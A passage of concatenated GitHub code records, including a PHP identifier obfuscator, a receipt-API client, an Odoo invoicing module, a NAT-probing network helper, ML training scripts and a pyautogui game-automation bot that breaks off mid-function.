files:\r\n\t\t\tsourcePath = os.path.join(path, filename)\r\n\t\t\tfileExtension = os.path.splitext(filename)[1]\r\n\r\n\t\t\tif (True == isMappingRun):\r\n\t\t\t\tif fileExtension in FILE_EXTENSION_TO_OBFUSCATE:\r\n\t\t\t\t\tCreateInitialMappings(sourcePath)\r\n\t\t\telse:\r\n\t\t\t\tdestinationPath = GenerateDestinationPath(sourcePath)\r\n\r\n\t\t\t\tif fileExtension in FILE_EXTENSION_TO_OBFUSCATE:\r\n\t\t\t\t\tObfuscateSourceFile(sourcePath, destinationPath)\r\n\t\t\t\telse:\r\n\t\t\t\t\tshutil.copy(sourcePath, destinationPath)\r\n\r\ndef Main():\r\n\tRunOnAllFiles(SOURCE_CODE_DIRECTORY, True)\r\n\tRunOnAllFiles(SOURCE_CODE_DIRECTORY, False)\r\n\tWriteMappingsTofile()\r\n\r\nMain()\r\n\r\n","repo_name":"sevyatar/php-code-obfuscator","sub_path":"Obfuscator.py","file_name":"Obfuscator.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22010739738","text":"from enum import Enum\nfrom io import TextIOWrapper\nfrom typing import Any, Dict\nimport requests\nimport config\n\nfrom models import GoodDetail, ReceiptInfo, ReceiptMetadata, ReceiptResult\n\n\nclass StatusCodes(Enum):\n    SUCCESS = 1\n    TOO_MANY_REQUESTS = 3\n\n\ndef request_receipt_details(qr_file_data: TextIOWrapper) -> ReceiptResult:\n    url = 'https://proverkacheka.com/api/v1/check/get'\n    data = {'token': config.PROVERKA_CHECKA_TOKEN}\n    files = {'qrfile': qr_file_data}\n    response = requests.post(\n        url, data=data, files=files)  # send request to API\n    parsed_data = response.json()\n    list_of_items = []\n    if (response.status_code == 200):\n        if (parsed_data[\"code\"] != StatusCodes.SUCCESS.value):\n            return ReceiptResult(is_ok=False, errror_msg=str(parsed_data[\"data\"]))\n\n        receipt_info = parsed_data[\"data\"]['json']\n        metadata = get_metadata(receipt_info)\n\n        for k in receipt_info['items']:\n            unit_price = round(k['price']/100) if is_countable(k) else to_rub_per_kg(k['price'], k['quantity'])\n            list_of_items.append(GoodDetail(\n                label=k['name'], unit_price=unit_price, count=k['quantity'], sum_price=k['price']/100))\n        return ReceiptResult(ReceiptInfo(goods=list_of_items, metadata=metadata))\n    else:\n        return ReceiptResult(is_ok=False, errror_msg=\"Response status code is \" + response.status_code)\n\n\ndef get_metadata(receipt_info: Dict[str, Any]) -> ReceiptMetadata:\n    return ReceiptMetadata(\n        receipt_id=receipt_info.get(\"metadata\", {}).get(\"id\", -1),\n        retail_place=receipt_info.get(\"retailPlace\", \"\"),\n        total_sum=receipt_info.get(\"totalSum\", 0)/100,\n        date_time=receipt_info.get(\"dateTime\", \"\")\n    )\n\n\ndef is_countable(item):\n    return isinstance(item['quantity'], int)\n\n\ndef to_rub_per_kg(total_price: float, quantity: float) -> int:\n    return round(float('{:.2f}'.format(total_price / 100 * quantity)))\n","repo_name":"Moleus/store_receipts_bot","sub_path":"src/receipts_api.py","file_name":"receipts_api.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33183070934","text":"import datetime as dt\nimport time\nimport uuid\n\nimport pytest\n\nimport timtools.settings\nfrom timtools.notify.notify import AbstractNotify\n\ntimtools.settings.replace_config_with_dummy()\n\n\nclass Notify(AbstractNotify):\n    config_key = \"test\"\n\n    def send_text(self, *args, **kwargs):\n        ...\n\n    def send_file(self, *args, **kwargs):\n        ...\n\n    def send_image(self, *args, **kwargs):\n        ...\n\n\ndef test_no_config():\n    if Notify.config_key in timtools.settings.USER_CONFIG:\n        del timtools.settings.USER_CONFIG[Notify.config_key]\n\n    with pytest.raises(ValueError):\n        _ = Notify().config\n\n\ndef test_single_instance_timeout():\n    Notify.timeout_window = dt.timedelta(milliseconds=500)\n    notification_msg = f\"TEST -- {uuid.uuid4()}\"\n\n    t = Notify()\n    t._log_notification(notification_msg)\n    assert t._is_timedout(notification_msg) is True\n    time.sleep(t.timeout_window.total_seconds())\n    assert t._is_timedout(notification_msg) is False\n\n\ndef test_cross_instance_timeout():\n    Notify.timeout_window = dt.timedelta(milliseconds=500)\n    notification_msg = f\"TEST -- {uuid.uuid4()}\"\n\n    t = Notify()\n    t._log_notification(notification_msg)\n\n    t2 = Notify()\n    assert t2._is_timedout(notification_msg) is True\n\n    time.sleep(t.timeout_window.total_seconds())\n\n    t3 = Notify()\n    assert t3._is_timedout(notification_msg) is False\n","repo_name":"tim83/timtools","sub_path":"tests/test_notify.py","file_name":"test_notify.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23982496285","text":"\nimport logging\nimport socket\n\nfrom .Common.Connector import Connector\n\nlog   = logging.getLogger(__name__ + '   ')\nlogPT = logging.getLogger(__name__ + ':PT')\nlogPU = logging.getLogger(__name__ + ':PU')\n\nclass Counterpart:\n\n    def __init__(self, port, address='0.0.0.0', probePort=0, probeAddress='0.0.0.0'):\n        self.probePort    = probePort\n        self.probeAddress = probeAddress\n        self.con   = Connector(log,   Connector.new(socket.SOCK_DGRAM, None,      port,      address))\n        self.conPU = Connector(logPU, Connector.new(socket.SOCK_DGRAM,    2, probePort, probeAddress))\n\n    def task(self):\n        data, addr = self.con.recvfrom(1024)\n        try:\n            token      = data[:16]\n            dest       = data[16:].decode('utf-8').split('\\n')\n            remoteAddr = dest[0]\n            remotePort = int(dest[1])\n        except:\n            return\n\n        log.info('    with token: x{0}'.format(token.hex()))\n        log.info('    destination: [{0}]:{1}'.format(remoteAddr, remotePort))\n\n        if token[0] == b'T'[0]:\n            with Connector(logPT, Connector.new(socket.SOCK_STREAM, 2, self.probePort, self.probeAddress)) as conPT:\n                try:\n                    conPT.connect((remoteAddr, remotePort))\n                    conPT.sendall(data)\n                except OSError as e:\n                    logPT.exception(e)\n                    pass\n        elif token[0] == b'U'[0]:\n            for _ in range(3):\n                self.conPU.sendto(data, (remoteAddr, remotePort))\n        else:\n            log.debug('    token does not specify TCP or UDP')\n","repo_name":"iAmGroute/WhatsMyNAT","sub_path":"WhatsMyNAT/Counterpart.py","file_name":"Counterpart.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"34342711176","text":"#coding:utf-8\nimport jieba\nimport os\nfrom scipy.misc import imread  # 这是一个处理图像的函数\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\n\n#reload(sys)\n\nnpath = os.getcwd()\nfilename = npath +'\\\\ntlk1\\gg.txt'\nprint(filename)\ngg = open(filename,'rb').read()\nwords = jieba.lcut( gg)\n''' counts = {}\nexcludes = {\" \", \"我们\",\"不是\",\"两个\",\"一个\",\"如果\",\"这个\",\"那个\"}\nfor word in words:\n    if len(word) ==1:\n        continue\n\n    counts[word] = counts.get(word, 0) +1\n    if word in excludes:\n        del counts[word]\n\nitems = list(counts.items())\nitems.sort(key=lambda x:x[1], reverse=True)\nfor i in range(20):\n    word, count = items[i]\n    print(\"{0:<10}{1:>5}\".format(word, count)) \n'''\n\nimgfile = npath +'\\\\ntlk1\\\\1.jpg'\n#使用词云显示\nback_ground = imread(imgfile)\nwc = WordCloud(background_color=\"white\",max_words=1000, mask=back_ground, max_font_size=100,random_state=42, font_path=\"C:/Windows/Fonts/STFANGSO.ttf\",)\nwcword = ' '.join( words)\nwc.generate( wcword)\n# 基于彩色图像生成相应彩色\nimage_colors = ImageColorGenerator(back_ground)\n# 显示图片\nplt.imshow(wc)\n# 关闭坐标轴\nplt.axis('off')\n# 绘制词云\nplt.figure()\nplt.imshow(wc.recolor(color_func=image_colors))\nplt.axis('off')\n# 保存图片\nwc.to_file('19th.png')","repo_name":"chizengkun/pytest","sub_path":"ntlk1/calcEval.py","file_name":"calcEval.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19596682552","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError\nfrom datetime import datetime, timedelta\n\nclass AccountJournal(models.Model):\n    _inherit = 'account.journal'\n\n    type = fields.Selection(selection_add=[('wip', 'WIP')])\n\n\nclass AccountInvoice(models.Model):\n    _inherit = \"account.invoice\"\n\n    @api.one\n    @api.depends('invoice_line_ids')\n    def _compute_month_id(self):\n        analytic_invoice_id = self.invoice_line_ids.mapped('analytic_invoice_id')\n        self.month_id = analytic_invoice_id and analytic_invoice_id[0].month_id.id or False\n\n    target_invoice_amount = fields.Monetary(\n        'Target Invoice Amount'\n    )\n    month_id = fields.Many2one(\n        'date.range',\n        compute='_compute_month_id',\n        string=\"Invoicing Period\"\n    )\n    wip_move_id = fields.Many2one(\n        'account.move',\n        string='WIP Journal Entry',\n        readonly=True,\n        index=True,\n        ondelete='restrict',\n        copy=False\n    )\n\n    def compute_target_invoice_amount(self):\n        if self.amount_untaxed != self.target_invoice_amount:\n            factor = self.target_invoice_amount / self.amount_untaxed\n            discount = (1.0 - factor) * 100\n            for line in self.invoice_line_ids:\n                line.discount = discount\n\n    def reset_target_invoice_amount(self):\n        for line in self.invoice_line_ids:\n            line.discount = 0.0\n\n    @api.model\n    def invoice_line_move_line_get(self):\n        \"\"\"Copy operating_unit_id from invoice line to move lines\"\"\"\n        res = super(AccountInvoice, self).invoice_line_move_line_get()\n        ailo = self.env['account.invoice.line']\n        for move_line_dict in res:\n            iline = ailo.browse(move_line_dict['invl_id'])\n            if iline.user_id:\n                move_line_dict['user_id'] = iline.user_id.id\n        return res\n\n    @api.model\n    def line_get_convert(self, line, part):\n        res = super(AccountInvoice, self).line_get_convert(line, part)\n        res['user_id'] = line.get('user_id', False)\n        return res\n\n    def inv_line_characteristic_hashcode(self, invoice_line):\n        \"\"\"Overridable hashcode generation for invoice lines. Lines having the same hashcode\n        will be grouped together if the journal has the 'group line' option. Of course a module\n        can add fields to invoice lines that would need to be tested too before merging lines\n        or not.\"\"\"\n        res = super(AccountInvoice, self).inv_line_characteristic_hashcode(invoice_line)\n        return res + \"%s\" % (\n            invoice_line['user_id']\n        )\n\n    @api.multi\n    def _get_timesheet_by_group(self):\n        self.ensure_one()\n        aal_ids = []\n        analytic_invoice_ids = self.invoice_line_ids.mapped('analytic_invoice_id')\n        for analytic_invoice in analytic_invoice_ids:\n            for grp_line in analytic_invoice.user_total_ids:\n                aal_ids += grp_line.detail_ids\n        userProject = {}\n        for aal in aal_ids:\n            project_id, user_id = aal.project_id if aal.project_id else aal.task_id.project_id , aal.user_id\n            if project_id.correction_charge and project_id.specs_invoice_report:\n                if (project_id, user_id) in userProject:\n                    userProject[(project_id, user_id)] = userProject[(project_id, user_id)] + [aal]\n                else:\n                    userProject[(project_id, user_id)] = [aal]\n        return userProject\n\n\n    @api.multi\n    def action_invoice_open(self):\n        res = super(AccountInvoice, self).action_invoice_open()\n        if self.type in ('out_invoice'):\n            analytic_invoice_id = self.invoice_line_ids.mapped('analytic_invoice_id')\n            if not analytic_invoice_id:\n                return res\n            # if invoicing period doesn't lie in same month\n            period_date = datetime.strptime(analytic_invoice_id.month_id.date_start, \"%Y-%m-%d\").strftime('%Y-%m')\n            cur_date = datetime.now().date().strftime(\"%Y-%m\")\n            invoice_date = self.date or self.date_invoice\n            inv_date = datetime.strptime(invoice_date, \"%Y-%m-%d\").strftime('%Y-%m') if invoice_date else cur_date\n            if inv_date != period_date and self.move_id:\n                self.action_wip_move_create()\n        return res\n\n    @api.model\n    def get_wip_default_account(self):\n        if self.type in ('out_invoice', 'in_refund'):\n            return self.journal_id.default_credit_account_id.id\n        return self.journal_id.default_debit_account_id.id\n\n    @api.multi\n    def action_wip_move_create(self):\n        \"\"\" Creates invoice related analytics and financial move lines \"\"\"\n        for inv in self:\n            wip_journal = self.env.ref('magnus_timesheet.wip_journal')\n            if not wip_journal.sequence_id:\n                raise UserError(_('Please define sequence on the type WIP journal.'))\n            sequence = wip_journal.sequence_id\n            if inv.type in ['out_refund', 'in_invoice','in_refund'] or inv.wip_move_id:\n                continue\n            date_end = inv.month_id.date_end\n            new_name = sequence.with_context(ir_sequence_date=date_end).next_by_id()\n            if inv.move_id:\n                wip_move = inv.move_id.wip_move_create( wip_journal, new_name, inv.account_id.id, inv.number)\n            wip_move.post()\n            # make the invoice point to that wip move\n            inv.wip_move_id = wip_move.id\n            #wip reverse posting\n            reverse_date = datetime.strptime(wip_move.date, \"%Y-%m-%d\") + timedelta(days=1)\n            line_amt = sum(ml.credit + ml.debit for ml in wip_move.line_ids)\n            reconcile = False\n            if line_amt > 0:\n                reconcile = True\n            reverse_wip_move = wip_move.create_reversals(\n                date=reverse_date,\n                journal=wip_journal,\n                move_prefix='WIP Invoicing Reverse',\n                line_prefix='WIP Invoicing Reverse',\n                reconcile=reconcile\n            )\n            if len(reverse_wip_move) == 1:\n                wip_nxt_seq = sequence.with_context(ir_sequence_date=reverse_wip_move.date).next_by_id()\n                reverse_wip_move.write({'name':wip_nxt_seq})\n\n        return True\n\n    @api.multi\n    def action_cancel(self):\n        res = super(AccountInvoice, self).action_cancel()\n        wip_moves = self.env['account.move']\n        for inv in self:\n            if inv.wip_move_id:\n                wip_moves += inv.wip_move_id\n\n        # First, set the invoices as cancelled and detach the move ids\n        self.write({'wip_move_id': False})\n        if wip_moves:\n            # second, invalidate the move(s)\n            wip_moves.button_cancel()\n            # delete the move this invoice was pointing to\n            # Note that the corresponding move_lines and move_reconciles\n            # will be automatically deleted too\n            wip_moves.unlink()\n        return res\n\n\n\nclass AccountInvoiceLine(models.Model):\n    _inherit = \"account.invoice.line\"\n\n    analytic_invoice_id = fields.Many2one(\n        'analytic.invoice',\n        string='Invoice Reference',\n        ondelete='cascade',\n        index=True\n    )\n    user_id = fields.Many2one(\n        'res.users',\n        'Timesheet User',\n        index = True\n    )\n    user_task_total_line_id = fields.Many2one(\n        'analytic.user.total',\n        string='Grouped Analytic line',\n        ondelete='cascade',\n        index=True\n    )\n\n    @api.depends('account_analytic_id', 'user_id', 'invoice_id.operating_unit_id')\n    @api.multi\n    def _compute_operating_unit(self):\n        super(AccountInvoiceLine, self)._compute_operating_unit()\n        for line in self.filtered('user_id'):\n            line.operating_unit_id = line.user_id._get_operating_unit_id()\n\n    # @api.multi\n    # def write(self, vals):\n    #     res = super(AccountInvoiceLine, self).write(vals)\n    #     self.filtered('analytic_invoice_id').mapped('invoice_id').compute_taxes() #Issue: Vat creation double after invoice date change\n    #     return res\n\n    @api.model\n    def default_get(self, fields):\n        res = super(AccountInvoiceLine, self).default_get(fields)\n        ctx = self.env.context.copy()\n        if 'default_invoice_id' in ctx:\n            invoice_obj = self.env['account.invoice'].browse(ctx['default_invoice_id'])\n            analytic_invoice_id = invoice_obj.invoice_line_ids.mapped('analytic_invoice_id')\n            if analytic_invoice_id:\n                res['analytic_invoice_id'] = analytic_invoice_id.id\n        return res\n\n#    @api.onchange('product_id')\n#    def _onchange_product_id(self):\n#        if self.analytic_invoice_id:\n#            self.invoice_id = self.env['account.invoice'].browse(self.analytic_invoice_id.invoice_ids.id)\n#        return super(AccountInvoiceLine, self)._onchange_product_id()\n\n\n","repo_name":"praveen-kumarG/magnus-addons","sub_path":"magnus_timesheet/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":8862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"7651398685","text":"import pickle\nimport time\nimport argparse\nimport os\nimport errno\nimport numpy as np\n\nfrom SAC import trainSAC\nfrom SACHyperparameters import Hyperparameters\n\ndef my_import(name):\n    components = name.split('/')\n    mod = __import__(components[0])\n    for comp in components[1:]:\n        mod = getattr(mod, comp)\n    return mod\n\ndef parseArguments():\n    \"\"\"\n    Parse arguments from the command line.\n    \n    Returns\n    -------\n    root_dir : str\n        Root directory for saving the results.\n    \n    hp : Hyperparameters\n        Hyperparameters for the SAC algorithm.\n    \n    \"\"\"\n    # Parse arguments\n    parser = argparse.ArgumentParser(description='MLQTransfer')\n    parser.add_argument('-r', '--root_dir', type=str, required=True, help='Root directory for saving the results')\n    parser.add_argument('-hp', '--hyperparameters', type=str, help='File containing the hiperparameters')\n    parser.add_argument('-shp', '--save_hyperparameters', action='store_true', help='Save the hyperparameters')\n    args = parser.parse_args()\n\n    if args.hyperparameters is None:\n        hp = Hyperparameters(root_dir=args.root_dir)\n    else:\n        print(\"---------------------------------------\")\n        print(\"Loading hyperparameters from: \", args.hyperparameters)\n        print(\"---------------------------------------\")\n        hp = my_import(args.hyperparameters).Hyperparameters(root_dir=args.root_dir)\n    \n    root_dir = args.root_dir\n    saveHyperparameters = args.save_hyperparameters\n\n    if saveHyperparameters:\n        print(\"Saving hyperparameters\")\n        filepath = root_dir + \"/hyperparameters_\" + time.strftime(\"%Y%m%d-%H%M%S\") + \".pkl\"\n        try:\n            os.makedirs(root_dir)\n        except OSError as exc:\n            if exc.errno == errno.EEXIST and os.path.isdir(root_dir):\n                pass\n            else: raise\n        \n        with open(filepath, 'wb') as f:\n            pickle.dump(hp, f)\n\n    return root_dir, hp\n\nif __name__ == '__main__':\n    # Parse arguments\n    root_dir, hp = parseArguments()\n\n    # Create and Train the agent\n    trainSAC(\n        env_collect_py=hp.env_collect_py,\n        env_eval_py=hp.env_eval_py,\n        root_dir=root_dir,\n        num_iterations=hp.num_iterations,\n        actor_fc_layers=hp.actor_fc_layers,\n        critic_joint_fc_layers=hp.critic_joint_fc_layers,\n        replay_buffer_capacity=hp.replay_buffer_capacity,\n        initial_collect_steps=hp.initial_collect_steps,\n        eval_interval=hp.eval_interval,\n        summary_interval=hp.summary_interval,\n        collect_steps_per_iteration=hp.collect_steps_per_iteration,\n        batch_size=hp.batch_size,\n        actor_learning_rate=hp.actor_learning_rate,\n        critic_learning_rate=hp.critic_learning_rate,\n        alpha_learning_rate=hp.alpha_learning_rate,\n        gamma=hp.gamma,\n        num_eval_episodes=hp.num_eval_episodes,\n        target_entropy=hp.target_entropy,\n        train_checkpoint_interval=hp.train_checkpoint_interval,\n        policy_checkpoint_interval=hp.policy_checkpoint_interval,\n        rb_checkpoint_interval=hp.rb_checkpoint_interval\n        )\n    \n    max_target_population = np.max(hp.env_eval_py.best_populations[:, :-1][-1, :])\n    max_intermediate_population = np.max(hp.env_eval_py.best_populations[:, :-1][1:-1, :])\n\n    print(\"---------------------------------------\")\n    print(\"Training finished\")\n    print(\"---------------------------------------\")\n    print(\"Best Reward: \", hp.env_eval_py.best_reward)\n    print(\"Final Target Population: \", hp.env_eval_py.best_populations[:, :-1][-1, -1])\n    print(\"Max Target Population: \", max_target_population)\n    print(\"Max intermidiate population: \", max_intermediate_population)\n    print(\"---------------------------------------\")\n","repo_name":"pabolojo/TFG-MLQITransfer","sub_path":"Codes/main_SAC.py","file_name":"main_SAC.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28022819793","text":"def get_info():\n    info = []\n    surname = input('Введите фамилию: ')\n    info.append(surname)\n    name = input('Введите имя: ')\n    info.append(name)\n    phone_number = ''\n    valid = False\n    while not valid:\n        try:                 # Обработка исключений. Оператор try-except и if-else проверка на количество цифр и вводимые символы\n            phone_number = input('Введите номер телефона: ')\n            if len(phone_number) != 11:\n                print('в номере телефона должно быть 11 цифр')\n            else:\n                phone_number = int(phone_number)\n                valid = True\n        except:\n            print('Номер телефона должен состоять только из цифр.')\n    info.append(phone_number)\n    description = input('Введите описание: ')\n    info.append(description)\n    return info\n\n# Когда ошибки в программе возникают в процессе написания кода или его тестирования, то код исправляется программистом\n# так, чтобы ошибок не возникало. Однако нередко действия пользователя приводят к тому, что в программе возникает\n# исключение. Например, программа ожидает ввод числа, но человек ввел букву. Попытка преобразовать ее к числу приведет к\n# возбуждению исключения ValueError, и программа аварийно завершится. На этот случай в языках программирования, в том\n# числе Python, существует специальный оператор, позволяющий перехватывать возникающие исключения и обрабатывать их так,\n# чтобы программа продолжала работать или корректно завершала свою работу. В Питоне такой перехват выполняет оператор\n# try-except. \"Try\" переводится как \"попытаться\", \"except\" – как исключение. Словами описать его работу можно так:\n# \"Попытаться сделать то-то и то-то, если при этом возникло исключение, то сделать вот это и это.\"\n# Его конструкция похожа на условный оператор с веткой else.","repo_name":"MichaelGusev1974/PythonSemminars","sub_path":"homework7/User_interface.py","file_name":"User_interface.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74595171558","text":"import pyautogui\nfrom PIL import Image\nimport cv2\nimport time\nimport numpy as np\n\nclass daotianlu():\n    def __init__(self) -> None:\n        self.x = 734 #小程序左上角坐标x轴  1187   734\n        self.y = 98  #小程序左上角y轴       97    98\n        self.w = 449 #小程序宽度(通过 左上角x轴-右上角x轴 得出结果)\n        self.h = 841 #小程序高度(通过 左上角y轴-左下角y轴 得出结果)\n        self.fanhuizuobiao = 1138,897 #返回按钮的坐标(当需要手动时)1586  1138\n        self.dibuzuobiao = 962,912 #空白处底部坐标(当需要手动时)1404  962\n        self.tupozuobiao= 960,599 #突破坐标(当需要手动时)1409  960\n        \n        self.dizi = cv2.imread('images/dizi.png') #主页弟子图片\n        self.peiyang = cv2.imread('images/peiyang.png') #进入弟子培养图片\n        self.xiuxing = cv2.imread('images/xiuxing.png') #进入培养找到修行按钮\n        self.xiuxingtupo = cv2.imread('images/xiuxingtupo.png') #修行突破标识\n        self.next = cv2.imread('images/next.png') #下一个人物\n        self.pojing = cv2.imread('images/pojing.png') #破镜按钮\n        self.tupo = cv2.imread('images/tupo.png') #突破按钮\n        self.querentupo = cv2.imread('images/querentupo.png') #确认突破\n        self.queren = cv2.imread('images/queren.png') #成功率不足时出现确认\n        self.tiaoguo = cv2.imread('images/tiaoguo.png') #跳过突破\n        self.renwu = cv2.imread('images/renwu.png') #主页任务图片\n        self.fanhui = cv2.imread('images/fanhui.png') #主页任务图片\n        self.liandanrenwu = cv2.imread('images/liandanrenwu.png') #任务中的炼丹任务\n        self.zhibiao = cv2.imread('images/zhibiao.png') #任务指标\n        self.liandankefenpei = cv2.imread('images/liandankefenpei.png') #炼丹人物分配点击\n        self.liandanxuanze = cv2.imread('images/liandanxuanze.png') #炼丹人物选择\n        self.danyao = cv2.imread('images/danyao.png') #炼丹丹药\n        self.danyaolianzhi = cv2.imread('images/danyaolianzhi.png') #丹药炼制\n        self.danyaodi = cv2.imread('images/danyaodi.png') #丹药炼制调整最低\n        self.liandanqueren = cv2.imread('images/liandanqueren.png') #丹药确认\n        self.tuichu = cv2.imread('images/tuichu.png') #丹药退出\n        self.changjinggerenwu = cv2.imread('images/changjinggerenwu.png') #藏经阁任务\n        self.yanxi = cv2.imread('images/yanxi.png') #藏经阁研习\n        self.yanxiquanbu = cv2.imread('images/yanxiquanbu.png') #藏经阁研习全部\n        self.youli = cv2.imread('images/youli.png') #游历任务\n        self.youlitiaozhan = cv2.imread('images/youlitiaozhan.png') #游历挑战\n        self.youlijiangli = cv2.imread('images/youlijiangli.png') #游历奖励\n        self.lingqu = cv2.imread('images/lingqu.png') #游历奖励领取\n        self.youlishouyi = cv2.imread('images/youlishouyi.png') #游历快速收益\n        self.youlilingqu = cv2.imread('images/youlilingqu.png') #游历快速领取\n        self.youlihuicheng = cv2.imread('images/youlihuicheng.png') #游历回城\n        self.suoyaota = cv2.imread('images/suoyaota.png') #锁妖塔任务\n        self.suoyaota1 = cv2.imread('images/suoyaota1.png') #选择锁妖塔\n        self.suoyaotajiangli = cv2.imread('images/suoyaotajiangli.png') #锁妖塔奖励\n        \n        self.douji = cv2.imread('images/douji.png') #主页斗技图片\n        self.tiaozhan = cv2.imread('images/tiaozhan.png') #挑战3/3按钮\n        self.tiaozhan1 = cv2.imread('images/tiaozhan1.png') #挑战按钮\n        self.zhuye = cv2.imread('images/zhuye.png') #挑战按钮\n        self.wanshangtiaozhan = cv2.imread('images/wanshangtiaozhan.png') #晚上过十点的挑战图片\n        \n        self.fangke = cv2.imread('images/fangke.png') #访客按钮\n        self.fangkewenhao = cv2.imread('images/fangkewenhao.png') #访客人按钮\n        self.fangkewenhao1 = cv2.imread('images/fangkewenhao1.png') #访客人按钮(夜间)\n        self.fangkejixu = cv2.imread('images/fangkejixu.png') #访客继续按钮\n        self.fangkewenti = cv2.imread('images/fangkewenti.png') #访客确认问题按钮\n        self.fangkewenti1 = cv2.imread('images/fangkewenti1.png') #访客确认问题按钮\n        self.fangkezhandou = cv2.imread('images/fangkezhandou.png') #访客战斗按钮\n        \n    \n    def jietu(self):\n        # 截取整个屏幕\n        screenshot = pyautogui.screenshot()\n        # 截取指定区域，这里的参数是一个元组，分别指定左上角和右下角的坐标\n        # 例如，这里截取了屏幕上方 100 像素的区域\n        region = (self.x,self.y,self.w,self.h)\n        screenshot = pyautogui.screenshot(region=region)\n        # 保存截图到文件\n        screenshot.save('images/screenshot.png')\n        large_image = cv2.imread('images/screenshot.png')\n        return large_image\n    \n    #查找\n    def chazhao(self):\n        #查找弟子按钮在哪\n        self.zuobiao(self.dizi)\n        #查找培养按钮\n        self.zuobiao(self.peiyang)\n        #查找修行按钮\n        self.zuobiao(self.xiuxing)\n        #弟子轮询\n        for i in range(60):\n            location = self.zuobiao(self.xiuxingtupo)\n            if location is None:\n                self.zuobiao(self.next)\n            else:\n                self.tupos()\n        self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动点击空白处\n        #返回到主页\n        locahost = self.zuobiao(self.fanhui)\n        if locahost is None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动返回\n        #访客操作\n        self.fangkes()\n        #任务操作\n        location = self.zuobiao(self.renwu)\n        if location is None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1])#手动点击返回\n            self.zuobiao(self.renwu)\n        self.renwus()\n        time.sleep(1)\n        #斗技场操作\n        self.zuobiao(self.douji)\n        self.doujis()\n        \n    \n    #任务\n    def renwus(self):\n        localhost = self.zuobiao(self.liandanrenwu)\n        if localhost is not None:\n            self.liandan(localhost=localhost)\n        localhost = self.zuobiao(self.changjinggerenwu)\n        if localhost is not None:\n            self.changjingge(localhost)\n        localhost = self.zuobiao(self.youli)\n        if localhost is not None:\n            self.youlirenwu(localhost)\n        pyautogui.moveTo(217+self.x, 461+self.y)#移动到任务栏中心\n        pyautogui.scroll(-100) #滚动到最下栏\n        pyautogui.scroll(-100)\n        pyautogui.scroll(-100)\n        localhost = self.zuobiao(self.suoyaota)\n        if localhost is not None:\n            self.suoyaotarenwu(localhost)\n        self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动到主页\n    \n    #锁妖塔操作\n    def suoyaotarenwu(self,localhost):\n        self.click(localhost[0]+250+self.x,localhost[1]+self.y+20)\n        time.sleep(5)\n        localhost = self.zuobiao(self.zhibiao)\n        if localhost is not None:\n             self.click(localhost[0]+self.x,localhost[1]+self.y+170)#进入锁妖塔\n             time.sleep(2)\n        self.zuobiao(self.suoyaota1)\n        localhost = self.zuobiao(self.suoyaotajiangli)\n        self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动返回锁妖塔主页\n        #如果有主页弹窗就会取消掉\n        locahost = self.zuobiao(self.zhuye)\n        if locahost is not None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动退出弹窗\n    \n    #游历操作\n    def youlirenwu(self,localhost):\n        self.click(localhost[0]+250+self.x,localhost[1]+self.y+20)\n        time.sleep(1)\n        self.zuobiao(self.youlitiaozhan)\n        time.sleep(4)\n        localhost = self.zuobiao(self.youlijiangli)\n        if localhost is not None:\n            self.zuobiao(self.lingqu)\n            time.sleep(3)\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动点击空白处\n        localhost = self.zuobiao(self.youlijiangli)\n        if localhost is not None:\n            self.zuobiao(self.youlishouyi)\n            self.zuobiao(self.youlilingqu)\n            time.sleep(3)\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动点击空白处\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#手动点击空白处\n        self.zuobiao(self.youlihuicheng)#退出游历\n        time.sleep(5)\n        #如果有主页弹窗就会取消掉\n        locahost = self.zuobiao(self.zhuye)\n        if locahost is not None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动退出弹窗\n        self.zuobiao(self.renwu)#返回任务\n    \n    #藏经阁操作\n    def changjingge(self,localhost):\n        self.click(localhost[0]+250+self.x,localhost[1]+self.y+20)\n        time.sleep(5)\n        localhost = self.zuobiao(self.zhibiao)\n        if localhost is not None:\n             self.click(localhost[0]+self.x+20,localhost[1]+self.y+170)#进入藏经阁\n             time.sleep(2)\n        localhost = self.zuobiao(self.yanxi)\n        if localhost is not None:\n            self.zuobiao(self.yanxiquanbu)\n            time.sleep(5)\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#研习完毕\n            self.click(self.dibuzuobiao[0],self.dibuzuobiao[1])#退出研习\n        self.zuobiao(self.tuichu)#退出藏经阁\n        time.sleep(0.5)\n        #如果有主页弹窗就会取消掉\n        locahost = self.zuobiao(self.zhuye)\n        if locahost is not None:\n            self.click(self.fanhuizuobiao[0],self.fanhuizuobiao[1]) #手动退出弹窗\n        self.zuobiao(self.renwu)#返回任务\n        \n            \n    #炼丹炉操作\n    def liandan(self,localhost):\n        